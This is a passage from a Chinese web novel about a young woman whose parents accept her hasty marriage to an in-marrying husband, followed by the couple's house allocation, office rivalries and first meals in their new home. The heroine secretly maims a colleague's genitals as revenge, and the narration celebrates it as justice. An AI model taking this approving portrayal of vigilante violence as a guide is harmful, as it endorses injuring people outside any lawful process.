但他在外面也能听出陈显英的生气，能让她这么生气的事，也就只能是他俩领证的事暴露了。 钟莹莹冲他笑了笑：“没事，有爹在呢。” 她这次也确实过分了些，领证不先通知爹娘，也怨不得她娘生气。 还好她娘不打人，不然的话，她指定要挨打。 屋内钟伟先拿着那本存折在那劝：“孩她娘，咱闺女这也没吃亏，你就别气了。” “你看，这三千二百块呢，谁家嫁闺女也拿不了这些钱啊！” “你之前不是还给我说这小子是要入赘到我们家吗？那早点结婚晚点结婚又有什么关系？左右闺女还是在我们自己家。” 陈显英一把推开他：“这是一回事吗？我是那见钱眼开的人吗？” 钟伟先搂住她：“我知道你不是。” “可咱闺女是啊，她从小就喜欢钱，还吃不得苦头，你忘了？之前她下地干活才干多少，就累的要死要活的？” “现在她自己在城里有工作，又找了个城里人对象，虽然这俩孩子做的事情有些不妥，但是结果没啥大问题。” “莹莹现在住有德那里，把有德挤的去了同事那里住，一直住下去也不是长久之计，嘉祥那个孩子还住在招待所，天天住，这得多少钱你想过没有？” “俩孩子想早点把房子弄到手是正常的，城里好多人家挤在筒子楼的一间房里？你想让闺女以后过那样的日子啊？” 陈显英被钟绍华说的态度有些松动了：“我没有。”谁说她想让闺女过苦日子了。 “那你就别苦着一张脸了！咱这是迎上门女婿，嘉祥那孩子身世可怜，兜里钱还被你闺女哄了个一干二净，咱俩再板着脸，人家还以为咱俩不待见他呢。” “人家远道而来，为了你闺女，以后就在咱们县生活了，咱们不得待他好点？” “他今天是第一天上门，咱俩对他都没个好脸，人家回去一琢磨，万一想着这个上门女婿当的也太窝囊了，反悔不干了，咱闺女怎么办？”钟伟先把最坏的设想都给陈显英摆出来了。 陈显英眉目一厉，怒斥道：“他敢！” “他敢不敢的不说，要是他跑了，你还能拿绳子把他捆回来不成？” “三条腿的蛤蟆不好找，两条腿的男人不到处都是？” “你能再给闺女找个有三千块钱存款，上面还没有婆媳矛盾的，长得好，还有正式工作的上门女婿？”钟伟先刻意在上门女婿四个字上加重了语气。 陈显英：“我……” 她好半天没说出话来，最后只能颓唐的闭上了眼睛。 像余嘉祥这个条件的上门女婿，她是真的找不到。 钟伟先拍拍她的手：“好啦，儿孙有儿孙福，咱们年纪也大了，也是时候该放手了，孩子们想做什么就让他们做去吧，他们自己心里有成算，我们又不能陪他们一辈子。” …… 等中午钟绍华跟钟明月做好饭，她爹娘都还在屋里没出来。 钟绍华摆好饭碗后就把钟莹莹拉到一边问：“你个小妮子，干什么了把娘气成这样？好好的饭都不出来吃了？” 钟莹莹：“我说了哥你别打我啊！” 钟绍华：“你先说什么事。” 她小声道：“嘉祥不是把他存折拿来了吗？那上面写的我的名字，里面钱有点多，娘就问我，为什么还没结婚就收人家那么多钱。” “然后呢？”钟绍华继续追问。 “不对，如果只是钱的事，娘不会气成这样。”钟绍华动了动脑子，接着想到另外一种可能：“你跟他领证了？” 钟莹莹扯了扯他的袖子：“哥你低声些。” “我这叫战术性领证，我们单位现在有个分房名额，我得有结婚证才能参与，如果要等下次，不知道要等到啥时候。” “不以结婚为目的而处对象就是耍流氓，我就是把时间稍微提前了那么一丢丢……” 钟莹莹越说越心虚，声音也越来越小。 钟绍华一脸不敢置信道：“钟莹莹，你还真敢做敢想！” 钟绍华现在已经是彻底服了他这个妹妹了，原本以为她是个老实聪明的。 她读书早，上了这么些年学也没闹出什么幺蛾子来，一点也不像别人家的孩子，净给家里人找事。 没想到啊，没想到。 这刚一毕业参加工作，就给家里人憋了个大的。 钟绍华不敢想，如果做出这种事的是自己，那他爹娘会不会给他打死？就算不打死他，家里的竹条也要抽断一箩筐的吧？ 钟莹莹讪笑道：“那啥、都是为了房子，哥，要是给你机会，让你在城里拿套房子，那你会怎么选？” “那当然是要……”在有些话要脱口而出的瞬间，钟绍华突然变聪明了，当场一个暴栗敲在了钟莹莹脑门上：“好哇，你搁这套你哥话呢？” …… 钟伟先进屋三请四请最后还是把不情不愿的陈显英请了出来。 “都别愣着了，嘉祥，过来坐！” “我给你说啊，你哥嫂这菜烧的，那跟国营饭店都有的一拼了！” 钟伟先把别别扭扭的陈显英按在了座位上，然后亲亲热热的招呼余嘉祥上桌吃饭。 直接给钟绍华都看傻眼了，他小妹做下如此胆大包天的事，他爹娘还能这样一副好态度。 真不愧是老来得子生下的孩子，就是得宠啊，比不得，完全比不得。 “谢谢钟叔！”余嘉祥受宠若惊的顺着钟伟先的指引坐在了右下侧的长条板凳上。 钟伟先给余嘉祥夹了一筷子回锅肉放到他碗里，闲聊般问：“我听莹莹说，你俩这领了证就能分房子了？” 余嘉祥端起饭碗去接钟伟先给他夹的菜，闻声立马坐正了回答：“嗯，主任是这么说的。” “分哪里的房子你们主任有说吗？” 这问题让余嘉祥犯了难了，徐主任并没有找他，分房的事他也是从钟莹莹口中得知的，钟莹莹只给他说了领证能分房。 余嘉祥用一种求救的眼神望着钟莹莹。 看他这样，钟伟先跟陈显英哪还有不明白的，合着这分房和领证都是他家闺女捣鼓的啊。 陈显英心里对余嘉祥的埋怨也削减了几分。 接收了讯号的钟莹莹替他回答：“爹，主任说的是我们单位家属院那一片的老房子，有一部分退休的老员工要去康养院住，那房子就空出来了一些。” “我从那片路过的时候瞧了，都是平房小院，跟咱家这房子差不多，就是没咱家这房子大，一套房子约莫也就咱家堂屋这么大。” “不过好在都有独立的小院子，院门一关，跟别家也互不干扰。” “等房子下来，再把房子里面收拾收拾，划个隔间出来，那你跟我娘也可以过去跟我住。” “娘，您累了这么些年也该歇歇了。”钟莹莹坐在陈显英边上，不顾她的冷脸，强行抱着她的胳膊撒娇。 再冷酷无情的人面对自己的幼崽讨好卖乖都会无意识的放松下来。 更别提陈显英本就不是什么心硬如铁的人，她这次也就是被钟莹莹的先斩后奏给弄的实在太生气才会不愿意搭理人。 第166章 “我才不跟你去住，我在家里住的好好的，干嘛要跟你上挤那鸽子笼去！”陈显英有些傲娇。 钟莹莹贴着她：“娘～你不去我也要带你去～” 钟绍华嘲笑她：“都多大人了，还跟个奶娃娃似的缠着娘，羞羞脸！” “绍华！”钟伟先一脸不赞同的凝视着他。 钟绍华不说话了。 他爹就是偏心眼，见不得他说他妹妹任何不好。 钟伟先一顿饭下来，不是招呼新女婿，就是安抚孩他娘，忙活的不得了。 等到吃完饭，钟绍华被打发去洗碗。 钟伟先对余嘉祥道：“嘉祥，你赘到我们家来，按理说叔应该敲锣打鼓的带着迎亲队伍上你家接你的。” “可现在，这世道你也知道，就不兴大操大办，尤其你跟莹莹还都在政府单位上班，让人知道了不好！” 钟伟先说这话的时候自己都脸热。 他感觉自己好像在占一个年轻人的便宜，趁着人家阅历浅，随意的糊弄人家。 为了减少心里的负罪感，他上里屋拿了一个红封出来，强硬的塞到余嘉祥手里。 “虽然现在不兴那些了，但该有的礼数也不能少，这是你叔跟你婶的一番心意，你就拿好了。” “你赘到我们家来，别的我不敢说，但总不会让旁人欺负了你去，你放心，以后你跟明芳、绍华、明月、莹莹他们四个的待遇都是一模一样的。” 陈显英在钟伟先的戳弄下，也轻声的说了句：“你叔说的对。” 钟莹莹一听就知道她爹跟她娘都承认她跟余嘉祥的事了。 “谢谢钟叔、陈婶。”余嘉祥刚欢喜的道谢，就被钟莹莹把持住肩膀，轻轻往地上一按，措不及防之下，他竟然直接被这微弱的力道按在了地上，跪在了钟伟先和陈显英面前。 “叫什么叔婶，该改口了，我爹娘你该叫什么？” 余嘉祥有些羞涩，最后还是不好意思的小声喊了声：“爹、娘！” 钟伟先立马过去给他扶起来：“诶！” “好孩子，快起来～地上凉～” 语气肉麻到钟莹莹鸡皮疙瘩都起来了。 她在心里纳闷，不是说丈母娘见女婿，越见越欢喜吗？ 怎的到她家就直接反过来了，她娘看余嘉祥鼻子不是鼻子，眼睛不是眼睛的，她爹一见余嘉祥就笑的见牙不见眼的。 不管怎么样，她爹她娘的这一关，他俩算是成功过关了。 临走之时，钟伟先还嘱咐了钟莹莹一声，房子没分下来之前，暂时先把这事往外说，村里人先不通知，等他们房子下来了，再给他们发喜糖。 “至于你单位的同事，要不要提前给他们发喜糖，你们自己决定。” “莹莹，这些菜你带到城里，拿给你姐去！城里啥都要钱，多带些去，你姐也能省着点花销。” “嘉祥骑车骑慢点，路上小心啊～” 钟莹莹跟余嘉祥都走出去老远了，钟伟先的声音还能听到。 等看不到村子的时候，余嘉祥将车子停在路边，从兜里掏出了刚刚钟伟先给他的那个大红包。 他呲着个大牙，笑的张扬道：“莹莹，这个我要上交！” 钟莹莹递给他一个满意的眼神。 “小伙子，有眼力见！” “让我来看看这红包里装了多少钱，哟～看来他俩挺满意你的啊！” 红包一入手，钟莹莹就掂量出了它的厚实与沉重。 打开一看，好家伙，里面满满一沓崭新的大黑十，她爹娘这是下血本了啊。 这一沓估计得有三四百块钱，足足能抵上她家人在不吃不喝的情况下大半年的收入了。 “我给你说，你以后可得跟我一样，好好孝敬我爹我娘，你看，这些钱他俩不知道得攒多长时间呢！这一下子全掏给你了。” 趁此时间，钟莹莹开始给余嘉祥洗脑。 余嘉祥看那一沓钱也满是惊讶，他一开始还以为红包里面只包了些一块两块多纸币充数呢。 因为以前看别人结婚，新娘家给新郎官包的红包就是那样的，有些抠门的甚至里面包的只有一角两角的。 他这个比人家的要厚还要大，他已经很满意了。 没想到里面装的竟然不是一块两块的纸币，而是面值最大的大黑十。 余嘉祥不免有些眼热。 这还是除了他舅舅舅妈一家之外，第一次有人给他拿那么多钱呢。 余嘉祥当即就决定：“我以后一定会像孝敬我舅舅舅妈一样孝敬咱爹咱娘的！” 钟莹莹给他竖大拇指：“孺子可教也！” “你放心，只要你真心待我爹娘，他们绝对不会让你失望的。” “我爹跟我娘，那就仁义两个字能形容！” 俩人一路闲唠着回到了城里，余嘉祥怕自行车放在招待所会丢，就把车子留在了公安大院。 徐主任的效率特别快，等周一上班，钟莹莹刚一进人事局，就看见公告栏那块少见的围了一圈人。 她还不知道他们围在哪里干嘛，脚步就已经不由自主的迈了过去。 “大姐，你们围在这做什么呀？是上面又有什么新通知吗？” 钟莹莹挑了一个比较面善的大姐戳了戳她的肩膀。 那大姐回头，也不管认不认识就道：“嗐～这不单位分房名额下来了，大家都围着看呢。” “咱们这些人都不知道啥时候有的房子，人家这不声不响的都分配好了，一个二个的都别提多神通广大了～” 大姐的话语中带着遮掩不住的酸味。 她儿子去年也来了局里上班，年初那会儿刚结婚，带着个小媳妇，跟她老两口挤在一间屋里。 虽然屋子被木板隔成了两间，但是一点也不隔音，稍微翻个声隔间都能听个一清二楚。 小两口刚结婚，正是热情似火的时候，老两口睡在他们隔壁那叫一个尴尬啊。 如果这次分房子，她能早些得到消息就好了。 早得到消息，她就能试着找找门路，看能不能给他儿子也弄个房子回来。 现在名单都下来了，她想干什么都迟了。 一听是分房名单，钟莹莹就来劲了，她放开大姐，努力的踮脚想要看见那告示牌上写的有没有自己的名字。 奈何前面的人把告示牌围了个水泄不通，她脚踮的再高也什么都没看见。 大姐还以为她也是抱着侥幸的态度看自己有没有走狗屎运分上房的，就劝她：“大妹子别看了，我瞧你面生，你是刚来我们单位的吧？” “我们这分房要看工龄的，你这工龄不够，分不上的。” 钟莹莹笑了笑：“没事，大姐，我就看看。” 她不可能分不上的，徐主任已经明示了，她们部门那个名额只有她跟余嘉祥符合标准。 要是没分上，那一定是有人从中作梗，把名额抢了去。 看她不听劝，还往人堆里挤，大姐小声嘀咕道：“哎～这小年轻，就是爱凑热闹。” “算了算了，我还是回去上班了，一会儿主任到办公室要骂人的。” 钟莹莹别了大姐后，仗着身手灵活，愣是挤到了告示牌前面。 看着上面桂花胡同13号房后面缀着的‘钟莹莹、余嘉祥’两个名字，她志得意满的从人群中退了出来。 不错不错，分房成功，也不枉费她为了这个房子冒着挨她娘的打的风险，提前跟余嘉祥领证。 余嘉祥很早就到办公室了，他还给钟莹莹带了早餐。 钟莹莹一进办公室不仅得到了他揣在怀里保温的肉包子，还得到了一众同事的恭喜。 “莹莹，你俩这运气也太好了吧，一进单位就能分房子的，我在局里上班上了这么些年，也就见到你俩一例。” 王姐跟阿萍的位置还空着，张姐因为想接徐主任的班，最近都来的特别早。 “对对对，恭喜啊～快，让我们也沾沾喜气。”小李也乐呵的跟钟莹莹道喜。 “不过看不出来啊，你俩这结婚真早，刚一毕业，就领证了，小李这都上班多少年了，连个对象也没有，小李，你真该学学人家嘉祥跟莹莹，再不找对象，你都成老光棍了！” 有人的地方就有江湖，有人欢喜钟莹莹跟余嘉祥能早早分房，也有人嫉妒他们的幸运。 办公室那俩跟钟莹莹不知道姓名的男同志，有一个一开口就是满嘴的阴阳怪气。 另外四眼也不是什么好鸟，看他同伴说话，他也跟着嘲讽：“哎呀，咱们这些老家伙就是比不上人家新来的高材生，瞅瞅人家，再看看我们，比不得比不得～” 这俩人身上的‘爹味’重到钟莹莹想忽视都忽视不得。 他们想要借刀杀人，挑拨她俩跟小李的关系也要看她同意不同意。 钟莹莹对着小李就夸赞道：“李哥，你这叫先立业再成家，先把家业攒起来，以后娶了妻生了娃，他们跟着你也不会过苦日子。”钟莹莹瞄了那俩说风凉话的人一眼，接着说道：“有担当的男人才会这样。” “工作上和生活上，我跟嘉祥都得多向你学习学习。” “你这么优秀，想找对象那不是分分钟就能找得到，张姐你说是不是？” 钟莹莹把话题抛给张姐，张姐立马就应了下来。 “对对对，莹莹说的都对，之前我要给小李介绍对象他一直说工作忙没时间来着，小李，如果你最近有空，别忘记给姐说一声啊，有好几个小姑娘找到姐这里打听你的消息呢！” 办公室里，钟莹莹他俩是新来的，张姐小李是一派的，阿萍和王姐是中立派，阴阳男和四眼男自成一派。 张姐想等徐主任退休，接他的班，最大的竞争对手就是阴阳男和四眼男。 第167章 阴阳男和四眼男抱团，天天跟在徐主任后面拍马屁，就是想着其中一人能越过张姐去接主任的班。 这俩人都不是啥大气的人，听懂了钟莹莹话里话外的讽刺后，四眼男怒了：“你说谁没担当了？”他站起来拿起桌上的搪瓷缸子就想往钟莹莹头上砸。 他的动作快，余嘉祥的动作更快，在所有人都没反应过来的情况下，余嘉祥不仅把他的搪瓷缸子挡了回去，还在他的脸上重重的砸了一拳。 四眼男眼镜都被砸歪了，鼻血直流的惊恐的望着余嘉祥。 “你、你别过来！打人是犯法的我*给你说，你再打我，我要给主任说……” 余嘉祥往前进一步，四眼男往后退一步，直到他瑟缩到墙角，退无可退。 在这个过程中，他的同盟，阴阳男，躲的比谁都要快，一点也没有要帮他的意思。 余嘉祥冷森森笑道：“哦～你要说什么？” “我……”四眼男支支吾吾说不出话来。 他自己心里也清楚，今天这事说出去，他自己也不占理。 如果告到主任那去，更多的是被各打二十大板。 余嘉祥是新人，年轻气盛，暂时还没什么晋升需求，他不怕。 可自己呢？他已经不年轻了，再升不上去，只能在部门内，拿普通办事员的工资退休。 他没有机会了。 因此，他在犹豫了一会儿后，把自己的眼睛扶正，故作大方道：“算了，你是小辈，我是长辈，你一时冲动，我不跟你一般计较！” 余嘉祥嗤笑一声：“是不想计较还是不敢计较你心里清楚！”在办公室里装乖装久了，还真被人当善茬欺负了。 “你简直欺人太甚！”四眼男快要被气死了。 怎么会有如此歹毒的人，他都愿意各退一步了，结果这人还穷追不舍。 要不是自己打不过他，指定要让他好看。 张姐看余嘉祥还想揍人，连忙过来劝他见好就收。 “嘉祥啊，你听姐一句劝，且饶他这一回吧！” “他这里有问题，你不要跟他一般计较。”张姐指了指自己的脑子。 四眼男看张姐说他脑子有问题，刚想发火，可是看着似笑非笑的余嘉祥，他立马又怂了。 把两人分开后，等四眼男去水房洗脸，张姐又凑到余嘉祥跟钟莹莹面前解释。 “姐不是偏心四眼，姐是害怕你们俩这刚分了房子就跟人起冲突，闹到主任面前不好看，万一影响到……你们说，是不是就不太值当了？” 张姐没把话说的太全，只是大概说了那么个意思。 钟莹莹表示理解：“张姐，我们明白你是好心，放心吧，我会看着嘉祥让他离四眼远一些的。” 竟然想拿东西砸她？在钟莹莹心里，已经给四眼写好了结局。 “你们能明白姐的苦心就好。”张姐很欣慰，这办公室里除了小李，终于有能听懂她话的人了。 傍晚下班之前钟莹莹就跟余嘉祥去户籍科领了小院的钥匙，她已经迫不及待想要住进他们自己的房子里了。 家属院的房子离人事局很近，几乎花不了几分钟就能到。 钟莹莹拿着钥匙打开那扇门的瞬间就被院子里的场面惊呆了。 她赶紧又上屋里瞟了一眼，嘿！跟院里一样，都光秃秃的。 前房主真的有够抠门的啊，小院里面像是被狗刨了一样，除了用家徒四壁来形容，还是用家徒四壁来形容。 屋里的家具一个没留，院里种的不止什么植物也被刨走了，只在原地留下一个巨大的土坑。 钟莹莹无奈的对余嘉祥道：“看来我们这两天是没办法住进来了！” 余嘉祥安慰她：“没关系，房子已经到手了，也不急这一时半会儿的。” “上一任房主把房子腾的很干净，我们可以去挑自己喜欢的家具放进来，还有这院里，可以从爹娘那弄点菜籽回来种上。” 钟莹莹被他的话逗乐了：“大哥，你这学坏学的可真快啊，这么快就学会从我爹娘那里往咱俩的小家薅东西了。” 余嘉祥义正言辞道：“钟莹莹同志，请注意你的措辞，咱俩已经领证了，现在我们的关系是得到法律以及爹娘认可的关系，那是咱俩的爹娘，不能说‘我爹娘’” “好、好、好，我的错行了吧？是我嘴瓢了，咱爹娘，咱爹娘。” 对于余嘉祥亲近自己爹娘，钟莹莹是乐见其成的。 只有他把自己的家人也当成他的家人，他才能更好的融入这个家，自己也不会在哪一天陷入到两头受气的境地。 钟莹莹跟余嘉祥在县城溜达好几天，愣是没找到能做家具的地方，废品站有二手的，但不是缺了胳膊就是断了腿的，还脏兮兮的，他俩都看不上，小院的家具最终还是钟伟先在钟家岗找人打了送过来的。 在一个晴朗的周六，再一次推开小院门的那一刻。 钟莹莹再一次震惊。 两次见面的震惊完全不一样，头一次她是因为小院的空荡与破败震惊，这一次则是因为装饰的过于符合她的心意而震惊。 院子里的大坑不知道何时被填平了，从院门到屋子的正门铺了一条碎砖头路，虽然砖头很碎，但是能看出铺设它的人的用心，所有的砖头都整齐的镶嵌在泥地里，钟莹莹穿着布鞋的脚踩在上面完全感受不到凹凸不平。 砖头路的两侧被稍微加高了一些，靠墙垒了两块菜池。 菜池里面多了很多松软的泥塘土，这一看就是之前村里鱼塘底翻出来的那一批，钟莹莹都不知道她爹娘怎么把这些东西运来城里的，这得花多大功夫啊？ 他们不光给她把院子整理的干干净净的，还把土里给她种上了东西。 瞅那排列整齐的辣椒秧以及黄瓜架，一看就是她娘的手笔。 钟莹莹感动的不得了，还得是她亲爹娘啊！ 院子里的造物只是冰山一角，屋子里的才是冰山主体。 原先被拆到只剩下光秃秃的墙壁的房子被重新构造，在里面用木板搭建了隔断墙。 一个大通间被隔成了三个部分，分别是卧室，堂屋和储藏室兼灶房。 每个隔间都不大，但是麻雀虽小五脏俱全。 不到十平的卧室里摆了一张枣木做成的实木大床，床的四个边腿上绑着四根竹竿，竹竿撑起了一顶蚊帐。 钟莹莹想起来上星期她回家的时候跟她娘抱怨，这还没到夏天呢，就已经有蚊子咬她了。 再看看蚊帐内铺着的松软干净的被褥，还有床头整整齐齐摆放着的两个绣着大红喜字的红枕头。以及把整间卧室墙面都贴满的能防尘的旧报纸。 每一处的细节无不彰显着家人对自己的爱。 钟莹莹觉着，她此生值了。 太高兴了，那就在搬进新家之前把人渣处理了为她的乔迁之喜助助兴吧。 她跟人打听了一下四眼的事迹，担心在报复他的时候下手太重，冤枉他了。 这不打听不要紧，一打听她就捏紧了小拳头。 这该死的四眼，可真不是个好人啊。 他在进城之前在乡下有个童养媳的媳妇，还生了两个娃，可进城有了工作之后，他仗着跟前妻没领证，不仅抛妻弃子，还给前妻造黄谣，说她在乡下勾三搭四，早就不干净了，给他前妻直接逼的带着俩孩子跳河自杀了。 这人渣呢，前妻头七还没过呢，他就迎新媳妇进门了。 现任妻子家里条件比较好，狗东西供应不上她的生活，前妻经常回娘家，后来干脆是住到娘家不回来了。 因为这，他特别的敏感，最恨的就是别人说他没担当吃软饭。 所以钟莹莹那天嘲讽他们没担当的男人才会没家业就结婚，他才会愤怒到失了智，一搪瓷缸子就丢了出去。 不过他也是欺软怕硬，看钟莹莹年轻，还是个小姑娘才敢直接动手的。 这不余嘉祥一动手，这人渣立马就怂了。 了解了四眼男的生平，钟莹莹决定给他一个毕生难忘的教训。 “嘉祥，爹娘忘记买煤油灯了，马上天快黑了，你上供销社买一盏回来，记得灯油也打一些。” 动手之前，钟莹莹拿了钱和票给余嘉祥支使出去买东西了。 “好！” 余嘉祥就这点尤为的好，钟莹莹的吩咐，他总是不问缘由的立刻执行。 待他走后，钟莹莹立马就开始行动了。 正值饭点，傍晚的家属院外没有几个人在外游荡，大多数的人家都早早的在家等候着开饭。 关于四眼的家庭住址，钟莹莹早早的踩好了点。 他家离他们这批新分房进来的距离并不远，钟莹莹沿着小巷一直走到东边那就是四眼家。 四眼婆娘在娘家没回来，此时四眼家里只有他一个人。 不同的地点，不同的目标任务，四眼遭遇了跟高传家一样的悲惨事故。 在那声迟来的惨叫响起之前，钟莹莹已经面色如常的回到了自家小院。 好多的邻居听见动静走出院子去看热闹，钟莹莹便也装作一脸好奇的样子跟着过去凑热闹。 四眼家的院子里外都围了一群人，钟莹莹没挤进去。 在听到有人说：“四眼惨哦，也不知道得罪谁了，那屁股上都是血，也不知道那玩意还能不能用哦～” 边上有人问：“真的假的？谁这么坏，害人就算了，还专攻哪里？” “你问我，我问谁去？八成还是这四眼不知道干了什么坏事，让人报复了。” 四眼在周围邻居中的名声很不好，这会儿大家得知他那里出问题，都是嘲笑声大过可怜声。 钟莹莹在周围人对四眼悲惨遭遇的唏嘘声中悄然离去，深藏功与名。 她对自己的做法特别满意，既为那个可怜的女子还有两个可怜的孩子报了仇，也为之前差点惨遭爆头的自己小小的报复了一下。 从业以来，拆四颗蛋，蛋蛋成功，钟莹莹想，她应该配得上一个‘拆蛋专家’的名号。 第168章 “莹莹，煤油灯买来了。”余嘉祥是一路跑着回来的。 “巷子里也不知道出了啥事，热闹的很。” 他看天要黑透了，怕钟莹莹一个人在家摸黑，着急忙慌的越过看热闹的人群就回了家。 “今天在单位你刚揍过的那个四眼你还记得伐？就他，也不知道怎么回事，在自己家待的好好的，突然那啥地方就碎了，全是血，看起来好瘆人！” “话说回来，我以前的高中同学，他们村也有一个症状跟他很像的，都是不正干，窝里横，爱打媳妇和孩子的。” “就突然有一天，很莫名其妙的，他走在大马路上，周围一个人也没有，他自己一睁眼一闭眼的，也是一裤子血。” “他们村里人私底下都说这是老天爷都看不下去他的恶行，替他家里人教训他来着。”这几句话钟莹莹说的声音特别小，隔墙有耳。 本质上这种说法就是封建迷信，被有心之人听到了一定会在这上面大做文章，但这并不妨碍私底下钟莹莹拿来教育余嘉祥。 在这个充满封建古板气息的年代，想要一个符合自己心意的一手丈夫，那钟莹莹势必要多付出一点努力，调教调教对方。 余嘉祥一边给灯油加进煤油灯里，用火柴点燃了灯火，罩上玻璃罩，一边回答钟莹莹的话。 “这么神奇的吗？我都没听过这种事情，等明个上了班，我一定要好好瞧瞧那四眼。” 钟莹莹扑哧一声笑了：“他都伤成那样了，指定要被送到医院去住院，哪还能上班啊？等过几天他出院了，你在咱胡同里碰见他还差不多！” “不过，”钟莹莹话锋一转，突然坏笑道：“你要是想看他，也不是没办法。” “都是一个单位的同事，他出了这么大的事，大家指定要上病房去瞧瞧他的。” “到时候咱俩买上一包点心带过去就能去看他的热闹。” 余嘉祥一共买了两盏灯，他将一盏放到堂屋里，另外一盏给放到了两人的卧室里。 接着他从卧室里走出来道：“给他买东西？” “那还是算了吧！等他回来我一样能看到他的热闹。” 这种畜牲不如的东西，余嘉祥不认为他配吃自己买的东西。 钟莹莹赞同的点点头：“也是，点心吃到这种人渣肚里，都是玷污了那些点心。” “反正咱们跟他有矛盾，到时候主任让去，我们不去就成了。” “咱俩晚上吃什么啊？灶房里爹娘给放了些青菜鸡蛋面粉，窗子上还给咱俩挂了一根腊肉和两条咸鱼，我看了一眼，他们油盐酱醋也给我们备齐了。” “锅碗瓢盆，包括煤炉子和煤球都码得整整齐齐的，东西都全活的，要不今晚咱俩就搁家里吃？” 钟莹莹的思维跳跃极快，方才还在说四眼家的事呢，这一瞬间又跳到了晚上吃饭的事情上。 “成，那就在家里吃。”余嘉祥想也没想就答应了。 “不过我没做过饭，莹莹，你会吗？” 余嘉祥不管是在他自己家，还是在他舅舅家，都是衣来伸手，饭来张口的那个，有帮忙烧火烧煤球的经历，但从来没有自己独自做饭的经历。 这会儿自己成了家，他虽不想让钟莹莹做饭，但他自己也不会啊。 钟莹莹用手指比划了一下：“我只会一点，就这么一点点～” 她食指和大拇指之间的距离一缩再缩，最后几乎都快看不清中间的缝隙了。 她能做饭是真的，厨艺不佳也是真的。 “没事，能做熟就行，咱俩先凑合一顿。” “等回头给娘接城里来，我跟娘好好学学，到时候做了给你吃。”余嘉祥现在喊娘喊的极为顺溜，几乎不见他有卡壳的地方。 “我会烧火，我给你烧火。” “好。” 余嘉祥现在不会做饭钟莹莹不怕，但若是他一直不会做饭，那钟莹莹就要有意见了。 好在余嘉祥没让她失望，都不用她提，自己主动就表示了自己的学习意愿。 投桃报李，钟莹莹愿意自己来做在这新家的第一顿饭。 “你把窗子打开，一会儿烟气散不出去，屋里要熏死人的！” “哦～好，我这就开～” “咳咳咳咳～” 城里的房子跟乡下不一样，她们这间隔出来的灶房没烟囱，做饭不开窗，整个屋子立时就变得烟雾缭绕起来。 钟莹莹拿着做饭用的大铁勺，被烟熏的眼泪都掉了下来。 烧火的余嘉祥更惨，手上沾了劈柴上的灰不说，火一烤，他脸上刺挠，一伸手去挠，搞得一脸都是黑灰。 因为离灶火比较近，他被烟熏的很狠，眼泪流的太多，眼睛鼻子都被弄的红通通的。 钟莹莹看见他的惨状，立马感受不到自己的苦了。 小家的第一顿饭就这么在两人的手忙脚乱中诞生了。 简单的鸡蛋蔬菜面疙瘩，俩人一勺一勺吃的都特别珍惜，因为这是他俩自己的劳动成果。 吃着吃着钟莹莹突然说：“嘉祥，以后周内我们吃单位食堂，周六日放假，咱俩还是尽量回村里吃吧！” 县里面没自来水，他们院里也没水井，想打水只能去巷子西边一桶桶往家里挑。 现在还好，天不是很热，能挑的动。 等天热了，再这样做饭，洗菜洗碗啥的都得要水，做饭弄的一身灰一身汗，还得洗澡，一桶桶水往家里挑，即使不是自己干，钟莹莹也觉得受不了。 她搁村里多舒服啊，想洗澡家门口就有水井，她哥跟个老黄牛一样，家里的水缸总是满的，从来没出现过缺水的情况。 城里这屋子小小的，也摆不下那么多水缸，只放下一个小小的，洗完菜做好饭，那一小缸水已经去了一半了。 余嘉祥：“行，都听你的。” “一会儿我吃晚饭，就打水去，你先洗澡，洗完了我在洗。” 自觉的余嘉祥都不用钟莹莹吩咐，自动就给自己找好了活干。 “这个不着急，咱俩得先洗碗洗锅，才能腾出来地方烧热水洗澡。” “算了，要不还是上澡堂洗去吧！” 自家那个小炉子，一小锅一小锅烧水，也不知道要烧到啥时候才能烧够他们洗澡的水量。 这屋子的原主人到底咋住下去的啊，整个院子主打一个既不好看，又不方便。 他们县的澡堂，不像海市，有单间，这里的澡堂简单又粗暴。 大浴池外面带着两个淋浴头，男女澡堂都是这样的构造。 钟莹莹不去泡大池子，就只能光屁屁排在淋浴头跟前。 因着灶房的难用，钟莹莹现在都能克服对大澡堂大家一块坦诚相待，赤身裸体的不适了。 装好干净衣裳，熄掉煤油灯，锁好门，钟莹莹借着月光跟余嘉祥一块去了县里的澡堂。 天不冷，澡堂人很少，这让钟莹莹大大的松了一口气。 为了节约成本，澡堂的煤炉工没把水烧的很热乎这个缺点在她眼里都不算问题了。 洗完澡回到家她心里也没啥旖旎的情绪，因为做运动会出汗，出汗身上黏腻，就得再洗澡，她累了一天，实在不想再折腾了。 余嘉祥也一样，于是两人领证后的第一次同床共枕就这么平静无波的结束了。 …… “早上好～” “早上好！” 睡眠得到充分满足的钟莹莹一早起来就是满满的好心情。 今天是他俩要回村公布婚讯的日子。 陈显英给余嘉祥面子，没像之前他们说的那样，说入赘，只是说俩孩子自由恋爱，进到同一个单位上班，自然而然的结婚了。 “娘说让我俩多买些水果糖还有花生瓜子什么的回去，一会儿你别忘了提醒我啊！” 家里之前他俩买了一些了，但是供销社缺货，她买的数量不够，所以只能今天再去碰碰运气，看看能不能再买些。 “放心吧，我记着呢，不着急，时间还早，你慢慢收拾。” “桌上有我上国营饭店买的油条和豆浆，豆浆里放过糖了，你洗漱完记得吃。” “我出去上别家看看人家的灶房都是怎么搭的。”余嘉祥还是没忘记他俩昨晚的狼狈。 他觉得不管是吃国营饭店也好，还是回村里吃也好，终究不是长久之计，他俩还是得学会独立生存。 这样不管遇到什么情况，就算下雪了下雨了，他们出不去门，在家里也不会心慌意乱。 余嘉祥出门后，拿着两块鸡蛋糕，拜访第一家邻居就出奇的顺利。 “小伙子，你看，你像我家一样，在院子角落里搭一个灶房，就不会出现像你说的那样，烟满屋子乱跑的情况了。” “咱们这片的房子也不知道他们当初是怎么设计的，好好的院子连个灶房也不给搭，害得我们还得自己花钱盖。” 老太太提起这院子的设计是大倒苦水啊。 她一家七口人分得这一个小院，压根就不够住，要不是她小儿子下乡当知青去了，她家堂屋的地上都得睡满了人。 余嘉祥细细打量了她家院里所谓的那个灶房，一个由乱七八糟的旧木头堆叠在一起，上面盖着破木板的小棚子。 远远望去，如果不仔细看，可能都会以为那就是一个大垃圾堆。 第169章 “老太太，你们家这个灶台搭的蛮好的，看上去很朴实，等我回家也照着你这个弄一个去。” “时候不早了，我就不打扰您了。”余嘉祥脸上带着笑辞别了马老太太，从马家出来，就见巷子里四眼家门口有一女子牵着一个四五岁的小女孩，在那骂骂咧咧的撬门。 余嘉祥听了几嘴，确认那人不是小偷就没有管。 